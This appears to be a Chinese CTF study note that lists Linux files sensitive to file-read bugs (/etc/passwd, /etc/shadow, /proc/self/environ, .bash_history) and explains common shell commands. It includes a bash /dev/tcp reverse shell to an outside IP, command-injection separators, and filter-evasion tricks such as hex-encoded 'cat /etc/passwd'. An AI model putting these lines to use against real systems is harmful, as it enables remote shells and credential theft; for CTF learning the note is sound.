前言

本节简单纪录了一些linux常用命令和linux敏感文件

linux 文件

home目录

.bash_history 文件是记录用户在shell中输入的所有命令历史的文件,可以通过输入 history 命令查看。它通常存储在当前用户的 home 目录中

读取/etc/passwd文件内容
www:x:1002:1002::/home/www:/sbin/nologin
记录用户名www及其workdir:/home/www/;读取/home/www/.bash_history,发现服务器的历史命令:

etc目录

/etc/passwd
文件是Linux系统保存用户信息及其工作目录的文件,权限是所有用户/组可读,一般被用作Linux系统下文件读取漏洞存在性判断的基准。读到这个文件我们就可以知道系统存在哪些用户、他们所属的组是什么、工作目录是什么
/etc/shadow 用于存储用户的加密密码和与密码相关的其他安全信息
/etc/(cron.d/*|crontab)
定时任务文件
etc/environment是环境变量配置文件之一,可能存在大量目录信息的泄露
/etc/hostname表示主机名
/etc/hosts是主机名查询静态表,包含指定域名解析IP的成对信息。通过这个文件,参赛者可以探测网卡信息和内网IP/域名

proc目录

/proc 目录是一个虚拟文件系统,提供了关于系统内核、进程、硬件以及系统状态的实时信息。/proc 目录中的文件和子目录并不存储在磁盘上,而是由内核动态生成和维护的。它为用户和程序提供了一个与内核交互的接口。
/proc/version 内核信息
/proc/sched_debug 正在运行的进程信息
/proc/net/wireless 无线网卡信息和基础信息

pid是进程的标号:
/proc/pid/cmdline 是一个只读文件,包含进程的完整命令行信息
/proc/pid/cwd 包含了当前进程工作目录的一个链接
/proc/pid/environ 包含了可用进程环境变量的列表
/proc/1/environ

self即当前进程
/proc/self/cmdline 当前进程的完整命令
/proc/self/maps 查看当前进程的内存映射关系
cat /proc/self/cmdline 当前进程的完整命令
ls -al /proc/self/cwd 获取目标当前进程环境的运行目录
ls -al /proc/self/exe 获得当前进程的可执行文件的完整路径
cat /proc/self/environ 获取当前进程的环境变量信息
cat /proc/self/fd/{id} 获取当前进程打开的文件内容
/proc/net/arp
/proc/net/fib_trie

其他目录

  1. apache
    /var/log/apache2/
    /var/log/apache2/access.log 如果是静态靶场的化可以查看别人的poc
    /var/log/apache2/error.log

/var/www/html Apache默认Web根目录
2. php session目录
/var/lib/php7/sessions/

linux命令

在类 Unix 系统中,PATH 是一个环境变量,它告诉 shell(如 Bash、Zsh)在哪些目录下查找可执行的命令。当你输入一个命令时,系统会按照 PATH 变量中的路径顺序,逐一查找该命令对应的可执行文件。

如果 /usr/bin 目录包含在 PATH 中(通常是默认配置),那么你可以直接在终端中输入该目录下的命令,系统会自动在 /usr/bin 目录中找到并执行它

echo $PATH查看 PATH 环境变量

/bin 存放的是系统引导和修复所需的基础命令,例如 ls, cp, mv, rm, cat, sh 等
/usr/bin 存放的是常用的用户命令和应用程序,例如,文本编辑器(如 vim)、编译器(如 gcc)、各种脚本语言的解释器(如 python, perl)等。

shell命令

bash -c 命令

1
2
root@kali:  bash -c whoami
root

bash -i 命令
以交互方式运行shell

1
2
3
4
#    目标主机:
root@kali: bash -c "bash -i >& /dev/tcp/120.46.41.173/9023 0>&1"
# 接受主机:
nc -lvp 2222

输出命令

1.printf
printf 命令模仿 C 程序库(library)里的 printf() 程序,功能相近
$(printf "\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64")
也可以简化
$'\154\163'ls

管理目录

  1. cd命令(change directory)
    ~ 也表示为当前用户的家目录,. 则是表示目前所在的目录, .. 则表示目前目录位置的上一层目录。
    cd 进入用户主目录
    cd - 返回进入此目录之前所在目录
    cd .. 返回上一级目录
    cd ../.. 返回上两级目录
    cd !$ 把上个命令的参数作为cd 参数使用
    cd . 当前目录
  2. ls命令(list)
    ls 命令不仅可以查看 linux 文件夹包含的文件,而且可以查看文件权限
    1
    2
    3
    4
    5
    6
    7
    8
    9
    ls 文件名,若文件存在,输出文件名
    ls -a 列出目录所有文件,包含以.开始的隐藏文件
    ls -r 反序排列
    ls -R 递归处理,将指定目录下的所有文件及子目录一并处理;
    ls -t 以文件修改时间排序
    ls -S 以文件大小排序

    ls -l(ll) 除了文件名之外,还将文件的权限、所有者、文件大小等信息详细列出来

    QQ截图20220715162727

蓝色表示目录; 绿色表示可执行文件; 红色表示压缩文件; 浅蓝色表示链接文件; 灰色表示其它文件; 红色闪烁表示链接的文件有问题了; 黄色是设备文件
3. dir命令(和 ls 命令类似)只不过用ls写入文件中时,每个文件名都是单独一行,它会自动换行,但dir就会全部写入一行中,并且会自动加空格
4. pwd 命令(print work directory)
用于查看当前工作目录路径,查看软链接的实际路径pwd -P

目录和文件操作

  1. mkdir命令(make directory) 用于创建文件夹

  2. rmdir命令
    注意:rmdir删除的目录dir必须是空目录,否则删除不掉dir这个目录。

  3. touch 用于创建文件,相等于>

  4. mv 命令(move)
    移动文件或修改文件名,根据第二参数类型(如目录,则移动文件;
    如文件,则以此文件名重命名文件,并覆盖同名的原文件)
    移动目录或修改目录,根据第二参数是否存在(目录名已存在,将移动目录到目录 中;
    目录名不存在,则重命名目录并移动到目录所在位置使目录存在.)

  5. cp 命令(copy)

-f:覆盖已经存在的目标文件而不给出提示。
-p:除复制文件的内容外,还把修改时间和访问权限也复制到新文件中。
-r或-R:递归处理,将指定目录下的子文件和子目录一并处理(复制目录的时候使用)
[root@tjf328 ~]# cp /root/a.txt /tmp/
6. find命令
用来在指定目录下查找文件 find [path] [expression]
实例:
将当前目录及其子目录下所有文件后缀为 .c 的文件列出来:
# find . -name "*.c"
寻找根目录下所以flag开头的文件
find / -name flag*
三天内新加或修改的文件:
find . -type f -mtime -3

  1. rm 命令(remove)
    可以直接使用 rm 命令删除文件;

-r :是 rm 命令的可选项,表示递归处理,将指定目录下的所有文件与子目录一并处理;
-f :是 rm 命令的可选项,表示强制删除文件或目录
8. sh命令
将文件中的内容当作命令来执行,同时.也可以执行命令
例如:
. \a=sh \a

文本操作

grep 更适合单纯的查找或匹配文本
sed 更适合编辑匹配到的文本
awk 更适合格式化文本,对文本进行较复杂格式处理

  1. grep 命令
    grep 指令会把含有范本样式的那一列显示出来,常用于文本搜索和选择输出
    格式: grep -ira “flag{“ / 2>/dev/null

-i: 不区分大小写。
-r: 递归查找子目录。
-a: 不要忽略二进制的数据
-v: 显示不包含匹配文本的所有行。
-n: 显示匹配行及 行号
-o: 只输出匹配到的文本。
-h: 不输出匹配行所在的文件名。
-H: 显示匹配的行所在文件的文件名。

-E: 使用扩展正则表达式grep -E "https?://[a-zA-Z0-9\.\/_&=@$%?~#-]*" -r xxx --color=auto

  1. awk 命令

  2. sed 命令

-e 脚本命令 该选项会将其后跟的脚本命令添加到已有的命令中。例如sed -e “1p” -e “5p” 1.txt
-f 脚本命令文件 该选项会将其后文件中的脚本命令添加到已有的命令中。
-n 默认情况下,sed 会在所有的脚本指定执行完毕后,会自动输出处理后的内容,而该选项会屏蔽启动输出,需使用 print 命令来完成输出。
-i 此选项会直接修改源文件,要慎用。
a :新增, a 的后面可以接字串,而这些字串会在新的一行出现(目前的下一行)~
c :取代, c 的后面可以接字串,这些字串可以取代 n1,n2 之间的行!
d :删除,因为是删除啊,例如sed ‘/1/,/3/d’ data6.txt
i :插入, i 的后面可以接字串,而这些字串会在新的一行出现(目前的上一行);
p :打印,亦即将某个选择的数据印出。通常 p 会与参数 sed -n 一起运行~
s :取代,可以直接进行取代的工作哩!通常这个 s 的动作可以搭配正则表达式!例如sed -n ‘s/test/trial/p’ data5.txt

  1. tr
    tr命令可以对来自标准输入的字符进行替换
    tr [选项] 字符集合1 [字符集合2]
    例:echo “HELLO WORLD” | tr ‘A-Z’ ‘a-z’
  2. tee
    用于读取标准输入的数据,并将其内容输出成文件,常用做写日志

-a或–append  附加到既有文件的后面,而非覆盖它

文件读取

  1. cat 命令(concatenate)
    用于连接文件并打印到标准输出设备上
  2. tac
    Linux常用命令tac 刚好是将 cat 反写过来,所以他的功能就跟 cat 相反啦,
    即tac 则是“ 由最后一行到第一行反向在屏幕上显示出来,行内的顺序不变
  3. more 命令
    cat的升级版, more 会以一页一页的显示方便使用者逐页阅读,而最基本的指令就是按空白键(space)就往下一页显示,按 b 键就会往回(back)一页显示。
    (1)显示文件中从第3行起的内容
    more +3 text.txt
    (2)在所列出文件目录详细信息,借助管道使每次显示 5 行
    ls -l | more -5
  4. less
    less 与 more 类似,less 可以随意浏览文件,支持翻页和搜索,支持向上翻页和向下翻页。
  5. head
    head 命令可用于查看文件的开头部分的内容,有一个常用的参数 -n 用于显示行数,默认为 10,即显示 10 行的内容。
    -q 隐藏文件名
    -v 显示文件名
    -c<数目> 显示的字节数。
    -n<行数> 显示的行数。
  6. tail
    tail 命令可用于查看文件的结尾部分的内容,tail -f filename ,会跟踪名为 filename的增长情况,会把 filename 文件里的最尾部的内容显示在屏幕上,并且不断刷新,只要 filename 更新就可以看到最新的文件内容。
  7. nl
    nl可以将输出的文件内容前自动的加上行号,整体来说,nl主要是对行号做更多的修饰。
  8. rev命令
    把每一行字符的顺序颠倒过来显示文件内容
    若其后跟的是文件,则将文件每一行颠倒,但行的顺序不变

文件所有权和访问权限

ll命令详解
文件类型
常规文件(-) :文本文件和二进制文件
目录文件(d) :目录文件是文件系统中一个目录所包含的目录项所组成的文件
设备文件(c or b) :每种I/O设备对应一个设备文件,存放在 /dev 目录中。
管道文件(p) :主要用于在进程间传递数据 ,又称先进先出(FIFO)文件
链接文件(L) :链接又可以分为软链接(符号链接)和硬链接,它提供了共享文件的一种方法。

r:目录执行ls以列出目录内容; 文件可读
w:目录创建、删除文件; 文件可写
x:可以cd切换进此目录,也可以使用ll查看内部文件的详细信息; 文件可执行

ls -l(ll) 除了文件名之外,还将文件的权限、所有者、文件大小等信息详细列出来
7 rw 5 r 3 w x

  • rwx    rx    wx.           1          root  root      0       Sep 29 19:36          as 
    
    文件类型 u所有者,g组群,o其他人的权限 一级目录个数 所有者 所属的组 文件的大小 最近修改文件的最后日期 文件名
        ----------a-------------
    
  1. 改变所属的用户组
    chrgp [选项] 组名 文件名
  2. 改变所有者
    chown [选项] 用户:组 文件名
  3. 修改文件访问权限
    文字法
    chmod a+w,o-x,ug–r 1.txt
    数字法
    chmod 644 2.txt

    文件编辑

    vi与vim的区别
    vi编辑器只能运行于unix中,而vim不仅可以运行于unix,还可用于windows、mac等多操作平台。
    vim可以用不同的颜色来加亮你的代码。vi使用于文本编辑,但是vim更适用于coding
    模式转换

正常–>输入
i:在当前光标所在字符的前面,转为输入模式;
o:在当前光标所在行的下方,新建一行,并转为输入模式
输入–>正常
ESC
正常–>末行:
:(英文冒号)
末行–>正常
ESC

末行模式
  1. 保存退出
     :q        退出;
     :w        保存;
     :wq        保存退出
     :wq!        强制保存并退出
    
  2. 到指定一行
     :$   最后一行;
     :#   第#行;
     :+# 向下的#行
     :n1,n2d 删除指定范围的行
    
  3. 查找

:/查找内容 从光标所在行向下查找
:?查找内容 从光标所在行向上查找
n 下一个
N 上一个

  1. 替换
    :1,10s/old/new/g
    :%s/old/new/g(% 是一个变量,在这里代表整篇文档)
    正常模式
  2. 行内跳转:
     0: 绝对行首;
     $: 绝对行尾
    
  3. 翻屏
     Ctrl+f: 向下翻一屏;
     Ctrl+b: 向上翻一屏;
    
  4. 行操作
    u:撤消前一次的编辑操作;(连续u命令可撤消此前的n次编辑操作;)
    dd 剪切单行
    p 粘贴到光标的后面

用户权限

使用id 用户名,查看指定用户所属组

1
2
$ id
uid=1000(team2) gid=1000(team2) groups=1000(team2)

普通用户只能改变自己的文件或文件夹权限
root用户可以更改所有用户的权限

其他

  1. ln命令
    在链接目标目录中修改文件都会在源文件目录中同步变化。
    软连接:ln –s 源文件 链接文件
    是在选定的地方生成一个文件的映射,映射文件不占用磁盘空间,软链接可以 跨文件系统 ,硬链接不可以
    修改存在的软连接: ln -nsf 源文件 链接文件

硬链接:ln 源文件 链接文件
是在选定的位置生成一个文件的镜像,镜像文件与源文件同样大小,但不占用实际空间,不允许给目录创建硬链接。
删除链接:unlink 链接文件

常见符号

\ 转义字符

放在特殊符号前,则该特殊符号的作用消失,放在指令的最末端,表示指令连接下一行

<输出重定向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
命令 < 文件 	        将指定文件作为命令的输入设备
命令 < 文件 1 > 文件 2 将文件 1 作为命令的输入设备,该命令的执行结果输出到文件 2 中。

命令 << 分界符 “<<”则是一种特殊的重定向,是输入内容重定向到一个命令或脚本。
ubuntu@VM-12-3-ubuntu:/$ ls <<eor
> eor
apache2.conf boot data docker

命令 <<< 参数 将指定字符串参数作为命令的输入
ubuntu@VM-12-3-ubuntu:/$ ls<<</
apache2.conf boot data docker
bash<<<ls
apache2.conf boot data docker
passwd --stdin root <<< "123456"== echo "123456" | passwd --stdin root

> 表示覆盖内容

1
2
3
4
5
6
7
8
9
10
11
1, 通过>来创建文件

>flag.txt

2,通过>将命令结果存入文件中

echo "hello hacker" > flag.txt

3,>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容

echo "hello hacker" >> flag.txt

‘’,””引号

单引号’’剥夺了所有字符的特殊含义,单引号’’内就变成了单纯的字符。
双引号””则对于双引号””内的参数替换($)和命令替换(``)是个例外。

{}花括号

如touch {a,b}.txt 结果为a.txt b.txt。
如:touch {a…d}.txt 结果为a.txt b.txt c.txt d.txt。

Linux中$ {}$()$(())的功能

${}

  1. 对变量的替换,同$var。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    [root@cn21 ~]# var=login
    [root@cn21 ~]# echo "aa$var"
    aalogin
    [root@cn21 ~]# echo "$varaa"

    [root@cn21 ~]# echo "$var aa"
    login aa
    [root@cn21 ~]# echo "${var}aa" #注意此时大括号作用
    loginaa
  2. 变量间接引用
    1
    2
    3
    4
    5
    6
    ubuntu@VM-12-3-ubuntu:~$ echo $0
    -bash
    ubuntu@VM-12-3-ubuntu:~$ echo ${!?}
    -bash
    ubuntu@VM-12-3-ubuntu:~$ echo ${!#}
    -bash
  3. 计算字符串长度
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    ubuntu@VM-12-3-ubuntu:~$ a=2
    ubuntu@VM-12-3-ubuntu:~$ echo ${a}
    2
    ubuntu@VM-12-3-ubuntu:~$ echo ${#a}
    1

    ubuntu@VM-12-3-ubuntu:~$ echo ${##}//$#的值是0
    1
    ubuntu@VM-12-3-ubuntu:~$ echo ${#}
    0
    ubuntu@VM-12-3-ubuntu:~$ echo ${###}
    0
  4. 返回上一条命令执行结束后的传回值

${?} //表示0 用途:上一条命令执行结束后的传回值。通常0代表执行成功,非0代表执行有误。

**$()**:对命令的替换,同``(反引号),查询失败返回就空,wh$(f1hgb)oa$(f1hgb)mi

$(()):对内部内容进行整数运算$((var1*var2)),输出结果为十进制

  1. 进制转换
    将其他进制转换为十进制$((N#var)),其中N为进制。

  2. 位运算

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    ubuntu@VM-12-3-ubuntu:~$ echo $((~$(())))
    -1
    ubuntu@VM-12-3-ubuntu:~$ echo $((~0))
    -1
    ubuntu@VM-12-3-ubuntu:~$ echo $((~1))
    -2
    ubuntu@VM-12-3-ubuntu:~$ echo $((~11))
    -12
    ubuntu@VM-12-3-ubuntu:~$ echo $((1<<1))
    2
    ubuntu@VM-12-3-ubuntu:~$ echo $((1<<1<<1))
    4
    ubuntu@VM-12-3-ubuntu:~$ echo $((2#10001))
    17
    ubuntu@VM-12-3-ubuntu:~$ echo $(( $((1<<1))#10001 ))
    17

    分隔符

windows

‘|’ 在前面命令的结果上,执行后面的指令
‘||’ 如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
‘&&’ 如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令,例如?cmd=cd ..&&ls&&ca$@t ffff$@llllaaaaggggg

‘&’ 前面和后面命令都要执行,无论前面真假

Linux:
Linux系统包含了windows系统上面四个之外,还多了一个 ‘;’ 这个作用和 ‘&’ 作用相同